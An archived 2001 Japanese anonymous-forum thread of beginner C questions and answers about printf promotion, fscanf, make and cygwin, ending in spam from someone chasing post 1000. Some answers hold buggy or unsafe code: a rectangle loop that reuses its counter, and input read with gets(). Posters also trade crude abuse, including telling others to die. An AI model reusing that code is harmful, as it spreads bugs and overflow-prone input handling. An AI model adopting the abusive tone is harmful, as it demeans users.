 /つつ  | いないんだから さっさと回線切って首吊って氏ね   |
       \______________________
gdbデバッガを使い始めました
843795:01/10/13 03:23
>>811
正直、すいませんでした。
いちいち試しちゃいなかったので。

×:char* g_argv[];
○:char** g_argv;

これなら良い?
>>843
まあそうしないとコンパイルはとおらんわな。
それでもやっぱり>>795よりは>>796なのよ。
理由は自分で考えれ。
845795:01/10/13 03:53
教えてよ。
厨房だからわかんないよ。

int g_argc;
char** argv;
int main(int argc, char* argv[]) {
g_argc = argc;
g_argv = argv;

argc = 1; /* etc. */

assert(g_argc == argc); /* !!! */
:

みたいなことが言いたいの?
アホが二人いる。
847sage:01/10/13 11:51
誰か突っ込んでやれよ。
848デフォルトの名無しさん:01/10/13 14:17
MS_DOSの画面でグラフィック扱うにはどうしたらいいの?
849デフォルトの名無しさん:01/10/13 15:43
最適化抑制って、

ken -> gcc -O0 mona.c
でいいの?
(マイナスオーゼロ)

ken -> gcc -v
Reading specs from /usr/local/gnu/lib/gcc-lib/sparc-sun-solaris2.6/2.95.2/specs
gcc version 2.95.2 19991024 (release)
850デフォルトの名無しさん:01/10/13 23:20
http://sourceforge.net/softwaremap/trove_list.php?form_cat=160

の日本語バージョンってないざますか?
851デフォルトの名無しさん:01/10/14 13:26
前から気になっていた事だけど、
C言語のプロトタイプ宣言ってみんなどうやって書いてる?
手動か、それともなにかツールを使って自動出力させてる?
cproto
853デフォルトの名無しさん:01/10/14 13:51
>>851
手で書いてる。

というか、最初にヘッダにプロトタイプ宣言を書いて、
スタブをちゃちゃっと書き上げてから
本格的なコーディングに入る。
Cだと、昔はμEmacsのマクロで作ってたなぁ。
今は、関数実体を書いた後にコピペ & extern追加をしてる。
855851:01/10/14 14:58
>>852
cprotoの場合実際どのように使ってます?
俺が想像するには、cproto -ve main.c > main.hed
とかやって main.h の中で #include "main.hed" とやる。
もしくは cproto -ve *.c > protoall.hed などと全て一つにまとめて
一ヶ所で #include "protoall.hed"

>>853
最初から仕様が明確で関数が少ない場合はそれでも
いいかもしれないけど、そういうケースは少ない気がする。
んで、似た処理を一つにまとめたいとかとっさに思ったときに、
プロトタイプ書くのがめんどくさくなって、
結局一つの関数が巨大化していったりはしないですか?
>>855
その程度の手間は厭わず。すぐに慣れれるって。

 プロトタイプ宣言を書くのも、
 引数は評価する前に assert するコードを入れるのも、
 関数を書く前に、まずテスト用のコード書くのも、
 コードに手を入れたときに、変更点をデバッガでステップ実行するのも、

習慣化すれば、どうってことない。
857デフォルトの名無しさん:01/10/14 15:22
昨日から、悩んでいる問題があります。
問題)テキストファイルを読み込み'A'〜'Z'と'a'〜'z'の文字数を
   それぞれカウントする。
例)
  test.datファイルの内容
     ASDadz
 AAZz

結果としては
     Aが3回
     Dが1回
     Sが1回
     Zが1回
     aが1回
     dが1回
     zが2回

 
      
858851:01/10/14 15:25
>>854
なるほど。コピペ+変数にextern追加ってのは同じ事の繰り返し作業だから
みんなどうにかして自動化してやって欲しい。。。
(と、個人的に思うんだが)

>>856
>引数は評価する前に assert するコードを入れるのも、
>関数を書く前に、まずテスト用のコード書くのも、
には、かなり同意だけど、やっぱりプロトタイプ宣言書くのだけは
時間の無駄にしか思えないな。

Javaだとプロトタイプ宣言する必要が無いから短時間でどんどん
プログラムを変更していけて効率的なんだけどな。
数字を全角で表示するのはばかばかしいので半角表示

static int code[256];
int c;
FILE *fp;

fp = fopen("test.dat", "r");
while ((c = fgetc(fp)) != EOF)
if (isalpha(c)
code[c]++;
for (i = 0; i < 256; i++)
if (isalpha(i) && code[i] > 0)
printf("%cが%d回\n", i, code[i]);
fclose(fp);
>>859
i は int なんだろうが、
それなら printf に渡すときにキャストしなきゃいけない気が。
861デフォルトの名無しさん:01/10/14 15:49
859さんへ
 コンパイルして実行したら、
 うまくいきました。
 ありがとう
    857より
 
int i; 抜けてるね。
キャストはいらん。
もしキャストがいると信じてるなら悔い改めなさい。
863860:01/10/14 17:05
>>862
ああ、うん。
書き込んだ直後に、自信なくって試してみたら
キャストしなくても大丈夫だたよ…。
>>863
動作から納得するんじゃなくて、ちゃんと規格を調べて理解した方がいいと思うが。
K&R 本が手元にあるなら、索引で「格上げ」を調べてみましょう。
865863:01/10/14 20:25
>>864
初版には「格上げ」載ってねぇよ…。

つか、printf は可変個引数なんで、「格上げ」(型変換)なんてやってくれんのか?
char を受け取ると明示されてる関数なら、int を渡せば int->char の変換を
やってくれるだろうが、printf だと無理な気がするのだが…。

でもちゃんと動作したんだよなぁ…。
スタックにプッシュときのサイズが int と char で変わらないからかのう?

調べてきます…。
整数型はintに収まるのはintで、
それ以上のはそれなりにスタックにつまれるってかいてあるだ炉。

蛇足だが、実数型は黙ってdoubleで積むとも書いてあるだろ。

まず、嫁。
867863:01/10/14 20:41
つか、やっぱ本来ならキャストすべきとこっぽいな。
動くのは、たまたま int と char を同じサイズでプッシュしてるってだけ。
K&Rのどこをどう読んだらそうなるんだ?おい
869863:01/10/14 20:52
>>868
何か間違ってますか?
870864:01/10/14 20:52
>>865
確認してみたら、格上げじゃなくて A7.3.2 関数呼び出しのところに書いてあったわ。

ところで「初版」というのは ANSI C ではなく K&R C 対応のヤツ? 引数の格上げ
規則は ANSI C と K&R C (もしくは ANSI C でプロトタイプ宣言無しの場合) で微
妙に違うから、第2版を参照した方が良いぞ。
871864:01/10/14 21:00
>>869
おいおい……。

printf() の可変長引数の部分で i を渡してるんでしょ? そこで (char)i と書いて
も格上げ規則によって (char)i が int に変換された後に引数として渡されるから、
まったく意味がないって。

> 動くのは、たまたま int と char を同じサイズでプッシュしてるってだけ。
たまたま、ではなく ANSI C 対応のコンパイラなら「常に」問題ない。スタックにプッ
シュされるかどうかは処理系依存だが(レジスタで渡しても良いし)。
872863:01/10/14 21:08
>>871
スマン。わかった。俺が間違っていた。アホ。
> 整数型はintに収まるのはintで、
> それ以上のはそれなりにスタックにつまれるってかいてあるだ炉。
ってことね。スマン。ホントスマン。パッとわからんかった。
アホ過ぎですな。逝ってきます。豆腐の角に頭ぶつけて逝ってきます。
来世で会ったときも迷惑かけるかもしれませんが、その時はよろしく。
逝ってきます。アホ。逝ってきます。
873質問くん:01/10/14 21:19
1, 2, 3, 4, 5
6, 7, 8, 9, 10

って内容のデータファイルをfscanf関数で読みこもうとすると
最初の"1"だけを読みこんで終わってしまします。
2行目の最後まで、コンマと空白も含めてそっくりそのまま
読みこみたいんです。
どうしたらいいかわかりません教えてください
874863:01/10/14 21:20
いやー、久々に顔から火を噴きましたわ。
火柱が30mぐらいに達しましたわ。
匿名でよかったですわ。
それでは改めて逝ってきます。
863おもろい。
またこいよ
scanf("%d, ", &data)
877sage:01/10/14 22:31
誰か激しく突っ込んでやれよ>>876
878873:01/10/14 22:41
876さん、直接入力するのでなく、外部のデータファイルから
読みこみたいんです、お願いします
879 :01/10/14 23:06
fscanf
880873:01/10/14 23:09
あ、わかりました。スレ汚してすいませんでした
>>879
予想通りのボケが入ったな(w でも 873 で既出なので 1 点減点。
あのう、

dos上動くプログラムででx、y、座標を指定して文字を出力
したいのですが何をつかったらいいでしょうか?
エスケープシーケンスで検索すれ
884882:01/10/14 23:52
>>883

???
DOSのエスケープシーケンスは猫のページに載ってるよ。
887ビル・ジョブス:01/10/15 06:46
懐かしいな〜
888C厨房:01/10/15 17:17
教えて下さい。
この間拾ったBorland C++でFranz Lisp-386をコンパイル出来なくて
困ってます。make.exeがFATAL errorを吐き出すんですが。
makefileが#ifdef #endifだらけで迷路のようです。
乞アドバイス
889C厨房:01/10/15 17:17
キリ版Get♪ >>888
890BASICER:01/10/15 17:18
MAKE がエラーを出すんだから、makefile が間違っているんですよ。
891C厨房@BASICER:01/10/15 17:24
オリジナルmakefileが間違ってるんですか?@なんかくやしい
>>891
間違ってるっつーか、#ifdefだらけなんてことはcpp通すかなんかしなきゃい
かんのじゃないの。
893デフォルトの名無しさん:01/10/15 18:55
cpp.exeを検索しちゃいました。
Cプリプロセッサ−?→cpp
894BASICER:01/10/15 20:13
CPP は C++ でしょ?
あれ? cpp32.exe は BCC4.5 には入っていないのかな?
BCBには入ってるけど・・・・

#ifdef とかのプリプロセッサ処理だけするのが CPP.exe ね
896892:01/10/15 20:22
>>893
そう。

>>894
Microsoft界隈ではそういういいかたもするようだが、ここでいってるのは伝
統的なcppであるところのC preprocessor。
897Franz Lisper:01/10/15 22:15
>>895 cpp32.exeありました。Thanx
>>894 さすがM$特殊工作員
898Franz Lisper:01/10/15 22:20
>c:\borland\bcc55\bin\cpp32 makefileって感じ?
どうやって使うの?
899Franz Lisper:01/10/15 22:44
DOS窓でerror messegeが文字化け!
[ E2194 (.v.);鹿〜'lisp.cpp' etc
パス通すか、make.exeかな?それのあるところ
にいってmakeってやると勝手にmakefileを自動
判別するYO。自前のmakefileつかいたいときは
mymake(.hogehoge)とかをつくって、(拡張子は
つけてもどっちでもいい。)とにかくmake mymake
ってやるんだYOつまりmake は make makefileやってると
同じことなんだYO
当然カレントディレクトリにmakefileがないと
makeってやってもだめだYO
902デフォルトの名無しさん:01/10/15 22:48
ポアソンの方程式がわかりません。。教えてください
make -f mymake
だろ。ふつー。
>>902
教科書読みなさい。
905Franz Lisper:01/10/15 22:53
>>900
makefileもソースファイルも全部c:\borland\bcc55\bin
に ぶっこんである。
906892:01/10/15 22:55
>>898
> >c:\borland\bcc55\bin\cpp32 makefileって感じ?
cpp通した出力をmakefileとしてmakeに食わす。のかも知れん。
とりあえずドキュメントちゃんと読め。
は?bcc55/includeとか、bcc55/うんたら
が、ないの?

・・・もういっか落としなおせよ・・・・
908Franz:01/10/15 22:59
C:\borland\bcc55\bin>make
MAKE version 5.2 Copyright (c) 1987, 2000 Borland
fatal: 'FRC' does not exist - don't know to make it

C:\borland\bcc55\bin>
も〜嫌!
めんどうだから make止めて

BCC32 *.C* ってやってみろよ>>908
910Franz:01/10/15 23:08
19 errors in Compile
とにかくエラーメッセージが文字化け
ただ単にGNU make用のmakefileなんじゃないの?
俺のはmakefileさえないのに、
エラーなんかでねーぞ?カラのmakefileつくっても同じ
まぁ、そこらへんのサイトあるようでないからな、
>>http://www.m-n-j.com/town/internet_computer/makuzu/pgf/FreeProg-bcc551.html

ここらへんとか、どうよ。あと数個あるから頑張って検索しな
913Franz:01/10/15 23:11
ソース間違ってんじゃん
914Franz:01/10/15 23:16
>911
それってUNIXからWindowsに移植を意味する?
386−Makefileと言うのがあるのだが・・
なんかそもそもBSD用のコードっぽい氏..
GNUmakeは、単体で手に入ったかな?
なかったらcygwinを使え
916909:01/10/15 23:21
だから! そんな状態でmakeは無理
 必要そうなdefineはソースに直接書き込んで
 必要そうなソースだけディレクトリにぶちこんで BCC32 *.C でやってみろよ

まともなソースでmainがあれば実行ファイル作れるだろ
どっちにしてもエラー先に潰さんとダメだしな
917Franz:01/10/15 23:32
今日のものにならんな
お休みALL
>>915
そうBSD
http://www.aiai.ed.ac.uk/~jeff/franz-for-386.html
ここで拾った。
cygwin使った方が早いんでは?
ちゃんとバイナリが生成されたら、Borlandので試してみるとか。
919Franz:01/10/16 05:58
cygwin? 落ちてるとこ教えて。
920Franz:01/10/16 06:04
921Franz:01/10/16 06:14
Yahooでcygwin検索してたら こんなに見るのに手間かかる
サイト見つけた。付き合ってられん
検索機能くらい付けろ!
922Franz:01/10/16 06:17
yahooでcygwin検索してたら
こんなに見るのに手間かかるサイト見付けた。
http://members.tripod.co.jp/xaiax/scribble.html
付き合ってられん!
検索機能くらい付けろ!
923Franz:01/10/16 06:25
無い*_*;
とりあえず現段階ではBorlandの方が早い
っつーかBorlandにはTurbo C 2.0で、お世話になっているから
こだわりがある。
924Franz@ほとんど荒らし:01/10/16 06:43
ここは、見やすいが
DLサイトのリンクくらい張れ!
http://www.gihyo.co.jp/javapress/OpenSource17/ex2.html
925Franz@勉強中:01/10/16 06:54
日記はよそでやれよ。
くだらんことでいちいちageんじゃねーよ。
927Franz@勉強中:01/10/16 07:28
がら悪!!
setupでproxyのアドレス放り込む窓があるがネット上で
compileするっつー事かな?
proxyに付いてはアメ公が、寝ている日本時間昼に使っている。
アメ公が起きている日本時間深夜に串抜いている。
っつーか串が死んだら面倒だし..
なんかいきなりcompile成功の予感。
>>918 Thanx!
928C厨房:01/10/16 07:56
sygwinのsetupが良く分かりません。
設定項目が多すぎます。
これってネット上でInstallするって言う事なんでしょうか?
929Franz:01/10/16 08:01
>>928

とりあえず>>924を見よ
930Franz:01/10/16 08:10
BSDになったぞ!^o^/
931デフォルトの名無しさん:01/10/16 13:14
>>926
どこがくだらないんだ!
糞スレ立てて人が来ないのか?
ちょっとしたイベントでいちいちageで書き込むな。
自分でも「ほとんど荒らし」と書いてるだろうが。
だったら書き込み止めるかまとめりゃいいんだよ。
933デフォルトの名無しさん:01/10/16 14:01
CUIを、ちょっとしたイベントと片付けるのは
どうかと・・・
934\:01/10/16 14:09
電波警報
You never receive radio and i-mode. LOL
936デフォルトの名無しさん:01/10/17 00:32
C言語で丸とか四角や図形は描けますか?
>>936
グラフィックのライブラリを使えば書けます。
どんなライブラリがあるかはOSや処理系によります。
>>936
printf("○□\n");

でも機種依存だから気をつけてね。
>>938
もうちょいましに書こうぜ。

printf("丸\n");
printf("四角\n");
printf("図形\n");
940名無しさん:01/10/17 09:21
今、Cコンパイラの最適化能力って、コンパイラごとに大きく違うの?
intelコンパイラ > VC++ > gcc
ってな感じ? いや、これは想像だけど。
>>936
/* 幅 width, 高さ heightの四角を書く */
int i,j;
for(i=0; i<width; i++) putchar('#');
putchar('\n');
for(j=1; j<height-1; j++) {
putchar('#');
for(j=1; j<width-1; j++) putchar(' ');
putchar('#');
}
putchar('\n');
for(i=0; i<width; i++) putchar('#');
putchar('\n');

円を描くんなら三角関数を使っとけ。
942デフォルトの名無しさん:01/10/17 17:33
lomg combi(int, int);
long型はわかるんですけど、combiの意味がわかりません。
教えてください!
943デフォルトの名無しさん:01/10/17 18:25
struct {
char b[20];
}c;

c.b="ナナシサン";

何でこれでは、いけないのですか?
すみませんが御指導お願いします。
>>943
K&Rを死ぬほど読んで配列とポインタの違いを理解してください。
>>944
死ぬほど読んで死んだらプログラムできなくなっちゃうんで、教えてください。
>>945
bには代入しちゃだめ。
947デフォルトの名無しさん:01/10/17 19:58
auto変数のポインタを他の関数に渡すのは
何故いけないのですか?

foo()
{
int a=0;
bar(&a);
}

bar(int *a)
{
*a = 10;
}
普通のアーキテクチャのコンピュータだと、
レジスタにはポインタが無いから。
レジスタにはポインタが無いから>レジスタを指すポインタが無いから。
950デフォルトの名無しさん:01/10/17 20:05
>>948

aはstackじゃないんですか。
auto変数のポインタ渡しして渡した関数で書き換えても動くんで(VisualC)わけわかりません。
暗黙的にstaticなんでしょうか。うう。
>>950
struct{
 char *b;
} c;

なら

c.b="ナナシサン";

はOKだよ。
952デフォルトの名無しさん:01/10/17 20:13
>>947
そのコードはとくに問題ないと思うが。
953sage:01/10/17 20:19
>>947
問題ないよ。
自動変数は最適化でレジスタにしか割り付けられないこともあるが、
&でアドレスを参照している変数は、きちんと実メモリ上(スタック)に配置される。

同じように

foo()
{
register int a;
bar(&a);
}

bar(int *pa)
{}

のようにやっても間違いではない。
>>953

Σがーん。register宣言してもコンパイラが面倒を見てくれるとは知らなかった。
それって組み込み系でも?
>>954
コンパイラが文句言わなければ大丈夫。
やってみてダンプしる
956sage:01/10/17 20:44
register宣言されてるやつのアドレスを見ると警告を出すコンパイラが
あってもよいが、
今時のコンパイラはregisterをそもそも無視する傾向にあるな。
>>942
lomgが謎だ。
そろそろ別すれ
959デフォルトの名無しさん:01/10/18 00:28
K&Rって何のことですか?
基本的なことわからなくてすみません。
>>959
ISBN4-320-02692-6
>>959
ひょっとして検索すら知らないのかい
>>961
K&Rって検索のことなんですね。
基本的なことを教えていただきありがとうございました。
963 :01/10/18 00:38
>>959
ただの化石です。気にする必要はありません。
ていうか、知りたいことがあればすぐ聞くのではなくて
まずは検索してみようよ。
えっ?
K&Rって化石のことなんですか?
プログラマーの方言?
辞書で調べてみます。
>>693
化石どころかバイブルじゃない?
すべての C プログラマは K&R の hello, world から入門するのだ。
966デフォルトの名無しさん:01/10/18 19:00
while(1){
scanf("%s",a);
if(strcmp(a,"Y")==0);
break;
}
リターンキー押してループ抜けるようにするにはどうしたらいいですか?
>>966
環境依存。
968デフォルトの名無しさん:01/10/18 20:39
>>967
もう少し詳しく教えてください。
>>968
環境依存と言うのだから、環境を発表してみそ。
そうすれば、やさしい>>967がきっと答えてくれるだろう。
970967:01/10/18 21:11
>>969
それも環境依存(w
971sage:01/10/18 21:16
>>966
fgetsかgetsを使いなさい。
972デフォルトの名無しさん:01/10/18 21:35
というか、>>966はstrcmpしている意味が全然ない。
973デフォルトの名無しさん:01/10/18 22:15
966 のような scanf() の使い方ではなくて
fscanf(), sscanf() で "hogehoge = 199" とかの定型フォーマットな
ものから, ある値を取ってくるような使い方に焦点をあてて
書かれた本とか Web ページとかはないでしょうか.

キーボードから値をとってくるのに scanf を使うなんて
教えてもあまり意味がないと思うのですが ...

まあ本の都合ってのもあるんだろうけど.
int n;
char str[256];
gets(str);
if (sscanf(str, " hogehoge = %d ", &n) == 1) {
printf("%d\n", n);
}
976キリ番ゲッター:01/10/26 19:06
1000間近スレッド発見
977キリ番ゲッター:01/10/26 19:07
1000狙うからな
覚悟しておけ>ALL
978キリ番ゲッター:01/10/26 19:08
俺様が1000取ったら
うらびでお

さしあげます!!!!!!!

maji
979キリ番ゲッター:01/10/26 19:09
980キリ番ゲッター:01/10/26 19:09
1000GETの邪魔したら もらえなくなるので

注意しておけよ
981キリ番ゲッター:01/10/26 19:10
1000.。。。そこは最後のフロンティア

だよーーーーーーーーーーーーーーーーーーーーーーーーん
982キリ番ゲッター:01/10/26 19:11
んんん????
ヤクルトのビールかけって何で放送されないの?????


sage
983キリ番ゲッター:01/10/26 19:11
1000という数字は
美しい


ああああああああああ   ほしい
1000 取って何すんの?
985キリ番ゲッター:01/10/26 19:12
邪魔する奴=うんこ

氏ね
986キリ番ゲッター:01/10/26 19:12
おおおおおお!!!!!!!!
邪魔するな>>984

氏ね〜〜〜〜〜〜〜〜〜〜〜〜〜〜!!!
987キリ番ゲッター:01/10/26 19:13
いいかROMよ

邪魔したら ウラビデオ もらえなくなるぞ!!!!!!!!

hehehe
988キリ番ゲッター:01/10/26 19:14
んんんんんんん
俺様=神

>>984=うんこ
989キリ番ゲッター:01/10/26 19:14
1000そこは
最後の


スレッドフロンティア
990キリ番ゲッター:01/10/26 19:15
タリバンよりも キリバン
1000取られたら怒る?
ガンバレー!応援してやるよー
993キリ番ゲッター:01/10/26 19:15
くそ!!!!!!!!

思いっきり邪魔してるじゃ ないか!!!!>>992 氏ね
994キリ番ゲッター:01/10/26 19:16
>>992はうんこでーす


くさい くさい
つうか、サゲれば良いのにね(笑
ム板の厨房化がここでも…
997キリ番ゲッター:01/10/26 19:17
いいか リロードして待ち構えるな!!!

1000横取り禁止じゃ
998キリ番ゲッター:01/10/26 19:17
うおおおおおおおお!!!!!!

なぜ邪魔するんだ    fuck
さあ残りはいくつ?
1000キリ番ゲッター:01/10/26 19:17




GET!!!!!!!!!!!
10011001
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。